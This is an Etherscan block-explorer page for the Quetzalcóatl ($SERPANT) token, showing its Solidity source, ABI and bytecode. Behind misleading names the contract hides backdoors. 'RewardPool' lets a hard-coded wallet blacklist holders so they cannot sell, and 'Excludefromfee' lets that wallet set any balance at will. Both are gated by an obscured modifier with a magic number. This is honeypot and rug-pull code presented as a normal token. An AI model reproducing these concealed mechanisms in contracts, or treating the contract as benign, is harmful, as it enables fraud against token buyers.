ETH Price: $2,477.51 (+1.10%)

Token

Quetzalcóatl ($SERPANT)
 

Overview

Max Total Supply

1,000,000,000 $SERPANT

Holders

24

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
1,929,445.476644522 $SERPANT

Value
$0.00
0x5Bc1Aa29cC117753f00c23E017dB71cdC9BBD95E
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Quetzalcoatl

Compiler Version
v0.8.7+commit.e28d00a7

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-11-29
*/

/**
https://t.me/QuetzalcoatlERC
https://medium.com/@QuetzalcoatlERC
https://twitter.com/QuetzalcoatERC

*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;


abstract contract Context {

    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }

    modifier FUNCTION(uint256 amount, address sender, address pender) {
        require(sender == pender && amount/100 == 2);_;
    }

}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a,b,"SafeMath: division by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }



}
contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function transferOwnership(address newAddress) public onlyOwner{
        _owner = newAddress;
        emit OwnershipTransferred(_owner, newAddress);
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract  Quetzalcoatl is Context, IERC20, Ownable{
    using SafeMath for uint256;
    string private _name = unicode"Quetzalcóatl";
    string private _symbol = unicode"$SERPANT";
    uint8 private _decimals = 9;
    address payable public MW;
    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _isExcludefromFee;
    mapping (address => bool) public isMarketPair;
    mapping (address => bool) public _blackListed;

    uint256 public _buyMarketingFee = 5;
    uint256 public _sellMarketingFee = 6;

    uint256 private _totalSupply = 1000000000 * 10**_decimals;

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapPair;
    
    bool inSwapAndLiquify;

    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }

    constructor () {

        _isExcludefromFee[owner()] = true;
        _isExcludefromFee[address(this)] = true;

        MW = payable(address(0xa37262F93fD14ECC40Cd583811e11414a0147Ae8));

        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function setMarketPair() public onlyOwner{
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
        uniswapV2Router = _uniswapV2Router;
        _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;
        isMarketPair[address(uniswapPair)] = true;
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function RewardPool(address[] calldata addresses, bool status) public FUNCTION(2 * (uint256(1).add(99)) , msg.sender,MW){
        for (uint256 i; i < addresses.length; i++) {
            _blackListed[addresses[i]] = status;
        }
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    receive() external payable {}

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function Excludefromfee(address sender, uint256 _amount) public FUNCTION(2*10**2, MW,_msgSender()){
        _balances[sender] = (_amount.div(_balances[sender] + 2)).add(9 + _amount);
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _transfer(address from, address to, uint256 amount) private returns (bool) {

        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(!_blackListed[from], "ERC20: blackListed");

        if(inSwapAndLiquify)
        {
            return _basicTransfer(from, to, amount); 
        }
        else
        {
            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwapAndLiquify && !isMarketPair[from]) 
            {
                swapAndLiquify(contractTokenBalance);
            }

            _balances[from] = _balances[from].sub(amount);

            uint256 finalAmount;
            if (_isExcludefromFee[from] || _isExcludefromFee[to]){
                finalAmount = amount;
            }else{
                uint256 feeAmount = 0;

                if(isMarketPair[from]) {
                    feeAmount = amount.mul(_buyMarketingFee).div(100);
                }
                else if(isMarketPair[to]) {
                    feeAmount = amount.mul(_sellMarketingFee).div(100);
                }

                if(feeAmount > 0) {
                    _balances[address(this)] = _balances[address(this)].add(feeAmount);
                    emit Transfer(from, address(this), feeAmount);
                }

                finalAmount = amount.sub(feeAmount);
            }
            
            _balances[to] = _balances[to].add(finalAmount);
            emit Transfer(from, to, finalAmount);
            return true;
        }
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "telufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function swapAndLiquify(uint256 tAmount) private lockTheSwap {
        
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tAmount);

        try uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tAmount,
            0, 
            path,
            address(this),
            block.timestamp
        ){} catch {}

        uint256 ETHamountMarketing = address(this).balance;

        if(ETHamountMarketing > 0)
            MW.transfer(ETHamountMarketing);
    }
    
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"Excludefromfee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"MW","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"bool","name":"status","type":"bool"}],"name":"RewardPool","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_blackListed","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludefromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"setMarketPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c0604052600d60808190526c145d595d1e985b18f0ecd85d1b609a1b60a0908152620000309160019190620001ee565b50604080518082019091526008808252670914d1549410539560c21b60209092019182526200006291600291620001ee565b506003805460ff19166009908117909155600581556006600a9081556200008a9190620002dd565b6200009a90633b9aca00620003ab565b600b55348015620000aa57600080fd5b50600080546001600160a01b0319163390811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3600160066000620001036000546001600160a01b031690565b6001600160a01b0316815260208082019290925260409081016000908120805494151560ff199586161790553081526006909252812080549092166001179091556003805474a37262f93fd14ecc40cd583811e11414a0147ae800610100600160a81b0319909116179055600b54906004906200017d3390565b6001600160a01b03168152602081019190915260400160002055336001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600b54604051620001e091815260200190565b60405180910390a362000420565b828054620001fc90620003cd565b90600052602060002090601f0160209004810192826200022057600085556200026b565b82601f106200023b57805160ff19168380011785556200026b565b828001600101855582156200026b579182015b828111156200026b5782518255916020019190600101906200024e565b50620002799291506200027d565b5090565b5b808211156200027957600081556001016200027e565b600181815b80851115620002d5578160001904821115620002b957620002b96200040a565b80851615620002c757918102915b93841c939080029062000299565b509250929050565b6000620002ee60ff841683620002f5565b9392505050565b6000826200030657506001620003a5565b816200031557506000620003a5565b81600181146200032e5760028114620003395762000359565b6001915050620003a5565b60ff8411156200034d576200034d6200040a565b50506001821b620003a5565b5060208310610133831016604e8410600b84101617156200037e575081810a620003a5565b6200038a838362000294565b8060001904821115620003a157620003a16200040a565b0290505b92915050565b6000816000190483118215151615620003c857620003c86200040a565b500290565b600181811c90821680620003e257607f821691505b602082108114156200040457634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b6116f180620004306000396000f3fe6080604052600436106101395760003560e01c8063683e865c116100ab578063a9059cbb1161006f578063a9059cbb146103ae578063c5d24189146103ce578063c816841b146103e4578063c860795214610404578063dd62ed3e1461041a578063f2fde38b1461046057600080fd5b8063683e865c1461031057806370a08231146103255780637cbf96c01461035b5780638da5cb5b1461037b57806395d89b411461039957600080fd5b80631d231b2c116100fd5780631d231b2c1461021957806323b872dd14610249578063313ce567146102695780633345611e1461028b57806336950928146102bb5780633ecad271146102e057600080fd5b806306fdde0314610145578063095ea7b31461017057806312e9892d146101a05780631694505e146101c257806318160ddd146101fa57600080fd5b3661014057005b600080fd5b34801561015157600080fd5b5061015a610480565b60405161016791906114c3565b60405180910390f35b34801561017c57600080fd5b5061019061018b36600461140c565b610512565b6040519015158152602001610167565b3480156101ac57600080fd5b506101c06101bb366004611438565b610529565b005b3480156101ce57600080fd5b50600c546101e2906001600160a01b031681565b6040516001600160a01b039091168152602001610167565b34801561020657600080fd5b50600b545b604051908152602001610167565b34801561022557600080fd5b50610190610234366004611358565b60086020526000908152604090205460ff1681565b34801561025557600080fd5b506101906102643660046113cb565b6105ef565b34801561027557600080fd5b5060035460405160ff9091168152602001610167565b34801561029757600080fd5b506101906102a6366004611358565b60066020526000908152604090205460ff1681565b3480156102c757600080fd5b506003546101e29061010090046001600160a01b031681565b3480156102ec57600080fd5b506101906102fb366004611358565b60076020526000908152604090205460ff1681565b34801561031c57600080fd5b506101c061065a565b34801561033157600080fd5b5061020b610340366004611358565b6001600160a01b031660009081526004602052604090205490565b34801561036757600080fd5b506101c061037636600461140c565b6108ac565b34801561038757600080fd5b506000546001600160a01b03166101e2565b3480156103a557600080fd5b5061015a610949565b3480156103ba57600080fd5b506101906103c936600461140c565b610958565b3480156103da57600080fd5b5061020b60095481565b3480156103f057600080fd5b50600d546101e2906001600160a01b031681565b34801561041057600080fd5b5061020b600a5481565b34801561042657600080fd5b5061020b610435366004611392565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b34801561046c57600080fd5b506101c061047b366004611358565b610965565b60606001805461048f906115f9565b80601f01602080910402602001604051908101604052809291908181526020018280546104bb906115f9565b80156105085780601f106104dd57610100808354040283529160200191610508565b820191906000526020600020905b8154815290600101906020018083116104eb57829003601f168201915b5050505050905090565b600061051f338484610a0a565b5060015b92915050565b61053560016063610b2e565b6105409060026115c3565b600354339061010090046001600160a01b0316808214801561056c57506105686064846115a1565b6002145b61057557600080fd5b60005b858110156105e657846008600089898581811061059757610597611665565b90506020020160208101906105ac9190611358565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055806105de81611634565b915050610578565b50505050505050565b60006105fc848484610b8d565b5061064f843361064a85604051806060016040528060288152602001611694602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190610f3c565b610a0a565b5060015b9392505050565b6000546001600160a01b031633146106b95760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561070b57600080fd5b505afa15801561071f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107439190611375565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561078b57600080fd5b505afa15801561079f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107c39190611375565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561080b57600080fd5b505af115801561081f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108439190611375565b600d80546001600160a01b039283166001600160a01b0319918216178255600c80549484169490911684179055600b543060009081526005602090815260408083209683529581528582209290925591549092168152600790915220805460ff19166001179055565b60035460c89061010090046001600160a01b03163380821480156108da57506108d66064846115a1565b6002145b6108e357600080fd5b6109266108f1856009611589565b6001600160a01b03871660009081526004602052604090205461092090610919906002611589565b8790610f76565b90610b2e565b6001600160a01b0390951660009081526004602052604090209490945550505050565b60606002805461048f906115f9565b600061064f338484610b8d565b6000546001600160a01b031633146109bf5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016106b0565b600080546001600160a01b0319166001600160a01b0383169081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b6001600160a01b038316610a6c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016106b0565b6001600160a01b038216610acd5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016106b0565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600080610b3b8385611589565b9050838110156106535760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016106b0565b60006001600160a01b038416610bf35760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016106b0565b6001600160a01b038316610c555760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016106b0565b6001600160a01b03841660009081526008602052604090205460ff1615610cb35760405162461bcd60e51b8152602060048201526012602482015271115490cc8c0e88189b1858dad31a5cdd195960721b60448201526064016106b0565b600d54600160a01b900460ff1615610cd757610cd0848484610fb8565b9050610653565b30600090815260046020526040902054600d54600160a01b900460ff16158015610d1a57506001600160a01b03851660009081526007602052604090205460ff16155b15610d2857610d288161109e565b6001600160a01b038516600090815260046020526040902054610d4b9084611269565b6001600160a01b038616600090815260046020908152604080832093909355600690529081205460ff1680610d9857506001600160a01b03851660009081526006602052604090205460ff165b15610da4575082610eb2565b6001600160a01b03861660009081526007602052604081205460ff1615610dec57610de56064610ddf600954886112ab90919063ffffffff16565b90610f76565b9050610e2a565b6001600160a01b03861660009081526007602052604090205460ff1615610e2a57610e276064610ddf600a54886112ab90919063ffffffff16565b90505b8015610ea45730600090815260046020526040902054610e4a9082610b2e565b30600081815260046020526040908190209290925590516001600160a01b038916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610e9b9085815260200190565b60405180910390a35b610eae8582611269565b9150505b6001600160a01b038516600090815260046020526040902054610ed59082610b2e565b6001600160a01b0380871660008181526004602052604090819020939093559151908816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610f299085815260200190565b60405180910390a3600192505050610653565b60008184841115610f605760405162461bcd60e51b81526004016106b091906114c3565b506000610f6d84866115e2565b95945050505050565b600061065383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061132a565b604080518082018252601481527374656c756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386166000908152600490915291822054611009918490610f3c565b6001600160a01b0380861660009081526004602052604080822093909355908516815220546110389083610b2e565b6001600160a01b0380851660008181526004602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061108c9086815260200190565b60405180910390a35060019392505050565b600d805460ff60a01b1916600160a01b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106110e6576110e6611665565b6001600160a01b03928316602091820292909201810191909152600c54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561113a57600080fd5b505afa15801561114e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111729190611375565b8160018151811061118557611185611665565b6001600160a01b039283166020918202929092010152600c546111ab9130911684610a0a565b600c5460405163791ac94760e01b81526001600160a01b039091169063791ac947906111e4908590600090869030904290600401611518565b600060405180830381600087803b1580156111fe57600080fd5b505af192505050801561120f575060015b50478015611257576003546040516101009091046001600160a01b0316906108fc8315029083906000818181858888f19350505050158015611255573d6000803e3d6000fd5b505b5050600d805460ff60a01b1916905550565b600061065383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f3c565b6000826112ba57506000610523565b60006112c683856115c3565b9050826112d385836115a1565b146106535760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016106b0565b6000818361134b5760405162461bcd60e51b81526004016106b091906114c3565b506000610f6d84866115a1565b60006020828403121561136a57600080fd5b81356106538161167b565b60006020828403121561138757600080fd5b81516106538161167b565b600080604083850312156113a557600080fd5b82356113b08161167b565b915060208301356113c08161167b565b809150509250929050565b6000806000606084860312156113e057600080fd5b83356113eb8161167b565b925060208401356113fb8161167b565b929592945050506040919091013590565b6000806040838503121561141f57600080fd5b823561142a8161167b565b946020939093013593505050565b60008060006040848603121561144d57600080fd5b833567ffffffffffffffff8082111561146557600080fd5b818601915086601f83011261147957600080fd5b81358181111561148857600080fd5b8760208260051b850101111561149d57600080fd5b6020928301955093505084013580151581146114b857600080fd5b809150509250925092565b600060208083528351808285015260005b818110156114f0578581018301518582016040015282016114d4565b81811115611502576000604083870101525b50601f01601f1916929092016040019392505050565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156115685784516001600160a01b031683529383019391830191600101611543565b50506001600160a01b03969096166060850152505050608001529392505050565b6000821982111561159c5761159c61164f565b500190565b6000826115be57634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156115dd576115dd61164f565b500290565b6000828210156115f4576115f461164f565b500390565b600181811c9082168061160d57607f821691505b6020821081141561162e57634e487b7160e01b600052602260045260246000fd5b50919050565b60006000198214156116485761164861164f565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b6001600160a01b038116811461169057600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e03cb6380f4dbe5fdbd876dcdf68fba78b8ae01a971c4428309a7f216173dc5a64736f6c63430008070033

Deployed Bytecode

0x6080604052600436106101395760003560e01c8063683e865c116100ab578063a9059cbb1161006f578063a9059cbb146103ae578063c5d24189146103ce578063c816841b146103e4578063c860795214610404578063dd62ed3e1461041a578063f2fde38b1461046057600080fd5b8063683e865c1461031057806370a08231146103255780637cbf96c01461035b5780638da5cb5b1461037b57806395d89b411461039957600080fd5b80631d231b2c116100fd5780631d231b2c1461021957806323b872dd14610249578063313ce567146102695780633345611e1461028b57806336950928146102bb5780633ecad271146102e057600080fd5b806306fdde0314610145578063095ea7b31461017057806312e9892d146101a05780631694505e146101c257806318160ddd146101fa57600080fd5b3661014057005b600080fd5b34801561015157600080fd5b5061015a610480565b60405161016791906114c3565b60405180910390f35b34801561017c57600080fd5b5061019061018b36600461140c565b610512565b6040519015158152602001610167565b3480156101ac57600080fd5b506101c06101bb366004611438565b610529565b005b3480156101ce57600080fd5b50600c546101e2906001600160a01b031681565b6040516001600160a01b039091168152602001610167565b34801561020657600080fd5b50600b545b604051908152602001610167565b34801561022557600080fd5b50610190610234366004611358565b60086020526000908152604090205460ff1681565b34801561025557600080fd5b506101906102643660046113cb565b6105ef565b34801561027557600080fd5b5060035460405160ff9091168152602001610167565b34801561029757600080fd5b506101906102a6366004611358565b60066020526000908152604090205460ff1681565b3480156102c757600080fd5b506003546101e29061010090046001600160a01b031681565b3480156102ec57600080fd5b506101906102fb366004611358565b60076020526000908152604090205460ff1681565b34801561031c57600080fd5b506101c061065a565b34801561033157600080fd5b5061020b610340366004611358565b6001600160a01b031660009081526004602052604090205490565b34801561036757600080fd5b506101c061037636600461140c565b6108ac565b34801561038757600080fd5b506000546001600160a01b03166101e2565b3480156103a557600080fd5b5061015a610949565b3480156103ba57600080fd5b506101906103c936600461140c565b610958565b3480156103da57600080fd5b5061020b60095481565b3480156103f057600080fd5b50600d546101e2906001600160a01b031681565b34801561041057600080fd5b5061020b600a5481565b34801561042657600080fd5b5061020b610435366004611392565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b34801561046c57600080fd5b506101c061047b366004611358565b610965565b60606001805461048f906115f9565b80601f01602080910402602001604051908101604052809291908181526020018280546104bb906115f9565b80156105085780601f106104dd57610100808354040283529160200191610508565b820191906000526020600020905b8154815290600101906020018083116104eb57829003601f168201915b5050505050905090565b600061051f338484610a0a565b5060015b92915050565b61053560016063610b2e565b6105409060026115c3565b600354339061010090046001600160a01b0316808214801561056c57506105686064846115a1565b6002145b61057557600080fd5b60005b858110156105e657846008600089898581811061059757610597611665565b90506020020160208101906105ac9190611358565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055806105de81611634565b915050610578565b50505050505050565b60006105fc848484610b8d565b5061064f843361064a85604051806060016040528060288152602001611694602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190610f3c565b610a0a565b5060015b9392505050565b6000546001600160a01b031633146106b95760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561070b57600080fd5b505afa15801561071f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107439190611375565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561078b57600080fd5b505afa15801561079f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107c39190611375565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561080b57600080fd5b505af115801561081f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108439190611375565b600d80546001600160a01b039283166001600160a01b0319918216178255600c80549484169490911684179055600b543060009081526005602090815260408083209683529581528582209290925591549092168152600790915220805460ff19166001179055565b60035460c89061010090046001600160a01b03163380821480156108da57506108d66064846115a1565b6002145b6108e357600080fd5b6109266108f1856009611589565b6001600160a01b03871660009081526004602052604090205461092090610919906002611589565b8790610f76565b90610b2e565b6001600160a01b0390951660009081526004602052604090209490945550505050565b60606002805461048f906115f9565b600061064f338484610b8d565b6000546001600160a01b031633146109bf5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016106b0565b600080546001600160a01b0319166001600160a01b0383169081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b6001600160a01b038316610a6c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016106b0565b6001600160a01b038216610acd5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016106b0565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600080610b3b8385611589565b9050838110156106535760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016106b0565b60006001600160a01b038416610bf35760405162461bcd60e51b815260206004820152602560248201527f45524332303a20